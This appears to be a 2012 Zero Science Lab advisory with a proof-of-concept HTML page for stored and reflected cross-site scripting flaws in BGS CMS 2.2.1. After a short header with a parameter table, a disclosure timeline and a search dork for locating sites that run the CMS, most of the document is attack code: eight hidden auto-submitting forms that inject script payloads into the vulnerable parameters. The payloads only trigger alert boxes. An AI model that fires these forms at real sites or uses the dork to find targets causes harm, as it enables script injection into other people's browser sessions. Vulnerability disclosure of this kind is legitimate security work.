BGS CMS version 2.2.1 suffers from multiple stored and reflected cross site scripting vulnerabilities when parsing user input to several parameters via GET and POST method (post-auth). Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session.
1a474163f17dc1462181f57315dc71f8d56003df79de9b6b8db2e147abf40c76<!--
BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities
Vendor: BGSvetionik
Product web page: http://www.bgs-cms.com
Affected version: 2.2.1
Summary: BGS CMS is powerful Content Management System used to easily publish,
manage and organize wide variety of content on the website.
Desc: BGS CMS suffers from multiple stored and reflected XSS vulnerabilities
when parsing user input to several parameters via GET and POST method (post-auth).
Attackers can exploit this weakness to execute arbitrary HTML and script code in
a user's browser session.
o=====================================================================o
| Parameter | Section | Method | Stored XSS | Reflected XSS |
|=====================================================================|
| | | | | |
| redirect | categories | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| description | ads, products | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| section | news | GET | | X |
|--------------|---------------|--------|-------------|---------------|
| name | orders, polls | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| url | banners | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| title | gallery | POST | X | |
|--------------|---------------|--------|-------------|---------------|
| search | search | GET | | X |
o=====================================================================o
Tested on: Apache 2.2.22
PHP 5.3.10
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Vendor status:
[05.04.2012] Vulnerabilities discovered.
[05.04.2012] Initial contact with the vendor.
[10.04.2012] No response from the vendor.
[11.04.2012] Public security advisory released.
Advisory ID: ZSL-2012-5084
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5084.php
Dork: footer: "powered by BGS CMS"
05.04.2012
-->
<html>
<title>BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities</title>
<body bgcolor="#000000">
<script type="text/javascript">
function xss0(){document.forms["xss0"].submit();}
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
function xss3(){document.forms["xss3"].submit();}
function xss4(){document.forms["xss4"].submit();}
function xss5(){document.forms["xss5"].submit();}
function xss6(){document.forms["xss6"].submit();}
function xss7(){document.forms["xss7"].submit();}
</script>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss0">
<input type="hidden" name="name" value="Zero Science Lab" />
<input type="hidden" name="title" value="XSS" />
<input type="hidden" name="description" value="Cross Site Scripting" />
<input type="hidden" name="parent_id" value="15" />
<input type="hidden" name="redirect" value='"><script>alert(1);</script>' />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="categories" />
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="id" value="29" />
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="title" value="Zero Science Lab" />
<input type="hidden" name="description" value='"><script>alert(1);</script>' />
<input type="hidden" name="disp_on_full_view" value="1" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="level" value="0" />
<input type="hidden" name="type" value="ads" />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="ads" />
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="id" value="0" />
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="created" value="ZSL" />
<input type="hidden" name="name" value='"><script>alert(1);</script>' />
<input type="hidden" name="email" value="test@test.mk" />
<input type="hidden" name="message" value="t00t" />
<input type="hidden" name="status" value="coolio" />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="orders" />
<input type="hidden" name="action" value="edit" />
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss3">
<input type="hidden" name="name" value='"><script>alert(1);</script>' />
<input type="hidden" name="question" value="What is physics?" />
<input type="hidden" name="start" value="10 2012" />
<input type="hidden" name="end" value="18 2012" />
<input type="hidden" name="answer_text[]" value="A warm summer evening." />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="polls" />
<input type="hidden" name="action" value="edit" />
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss4">
<input type="hidden" name="name" value="admin" />
<input type="hidden" name="image" value="joxy.jpg" />
<input type="hidden" name="url" value='"><script>alert(1);</script>' />
<input type="hidden" name="max_displays" value="1" />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="banners" />
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="id" value="9" />
</form>
<form action="http://localhost/cms/" enctype="application/x-www-form-urlencoded" method="POST" id="xss5">
<input type="hidden" name="title" value='"><script>alert(1);</script>' />
<input type="hidden" name="description" value="Ban" />
<input type="hidden" name="folder" value="sexy_banner_imgx" />
<input type="hidden" name="close" value="OK" />
<input type="hidden" name="section" value="gallery" />
<input type="hidden" name="action" value="edit" />
</form>
<form action="http://localhost/" method="GET" id="xss6">
<input type="hidden" name="action" value="search" />
<input type="hidden" name="search" value='"><script>alert(1);</script>' />
<input type="hidden" name="x" value="0" />
<input type="hidden" name="y" value="0" />
</form>
<form action="http://localhost/cms/" method="GET" id="xss7">
<input type="hidden" name="section" value='"><script>alert(1);</script>' />
<input type="hidden" name="action" value="add_news" />
</form>
<br /><br />
<a href="javascript: xss0();" style="text-decoration:none">
<b><font color="red"><h3>XSS 0</h3></font></b></a><br />
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><h3>XSS 1</h3></font></b></a><br />
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><h3>XSS 2</h3></font></b></a><br />
<a href="javascript: xss3();" style="text-decoration:none">
<b><font color="red"><h3>XSS 3</h3></font></b></a><br />
<a href="javascript: xss4();" style="text-decoration:none">
<b><font color="red"><h3>XSS 4</h3></font></b></a><br />
<a href="javascript: xss5();" style="text-decoration:none">
<b><font color="red"><h3>XSS 5</h3></font></b></a><br />
<a href="javascript: xss6();" style="text-decoration:none">
<b><font color="red"><h3>XSS 6</h3></font></b></a><br /><br />
<a href="javascript: xss7();" style="text-decoration:none">
<b><font color="red"><h3>XSS 7</h3></font></b></a><br /><br />
</body></html>
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